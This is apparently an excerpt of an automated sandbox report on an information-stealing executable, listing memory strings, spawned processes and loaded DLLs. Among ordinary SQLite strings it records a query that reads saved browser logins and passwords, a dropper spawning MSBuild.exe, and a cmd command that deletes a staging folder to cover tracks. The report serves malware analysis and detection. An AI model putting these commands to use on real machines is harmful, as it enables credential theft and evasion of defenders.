Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2181684903.0000000025178000.00000002.00001000.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2181945016.00000000276BB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2356461481.0000000020028000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2349842336.000000001A0B7000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2181684903.0000000025178000.00000002.00001000.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2181945016.00000000276BB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2356461481.0000000020028000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2349842336.000000001A0B7000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2181684903.0000000025178000.00000002.00001000.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2181945016.00000000276BB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, MSBuild.exe, 00000006.00000002.2356461481.0000000020028000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2349842336.000000001A0B7000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2181684903.0000000025178000.00000002.00001000.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2181945016.00000000276BB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2356461481.0000000020028000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2349842336.000000001A0B7000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2181684903.0000000025178000.00000002.00001000.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2181945016.00000000276BB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, MSBuild.exe, 00000006.00000002.2356461481.0000000020028000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2349842336.000000001A0B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2181684903.0000000025178000.00000002.00001000.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2181945016.00000000276BB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2356461481.0000000020028000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2349842336.000000001A0B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT origin_url, username_value, password_value FROM logins;
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2181684903.0000000025178000.00000002.00001000.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2181945016.00000000276BB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2356461481.0000000020028000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2349842336.000000001A0B7000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2181684903.0000000025178000.00000002.00001000.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2181945016.00000000276BB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2356461481.0000000020028000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2349842336.000000001A0B7000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2181684903.0000000025178000.00000002.00001000.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2181945016.00000000276BB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2356461481.0000000020028000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2349842336.000000001A0B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1864080722.0000000003305000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1864176505.000000000331C000.00000004.00000020.00020000.00000000.sdmp, ECFHJK.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2181684903.0000000025178000.00000002.00001000.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2181945016.00000000276BB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, MSBuild.exe, 00000006.00000002.2356461481.0000000020028000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2349842336.000000001A0B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2181684903.0000000025178000.00000002.00001000.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2181945016.00000000276BB000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2356461481.0000000020028000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2349842336.000000001A0B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Virustotal: Detection: 60%

Source: unknown	Process created: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe "C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe"
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Process created: C:\ProgramData\EHDHIDAEHC.exe "C:\ProgramData\EHDHIDAEHC.exe"
Source: C:\ProgramData\EHDHIDAEHC.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\ProgramData\EHDHIDAEHC.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\BFCAAEHJDBKJ" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Process created: C:\ProgramData\EHDHIDAEHC.exe "C:\ProgramData\EHDHIDAEHC.exe"	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\BFCAAEHJDBKJ" & exit	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10	Jump to behavior

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\ProgramData\EHDHIDAEHC.exe	Section loaded: mscorjit.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wininet.dll	Jump to behavior
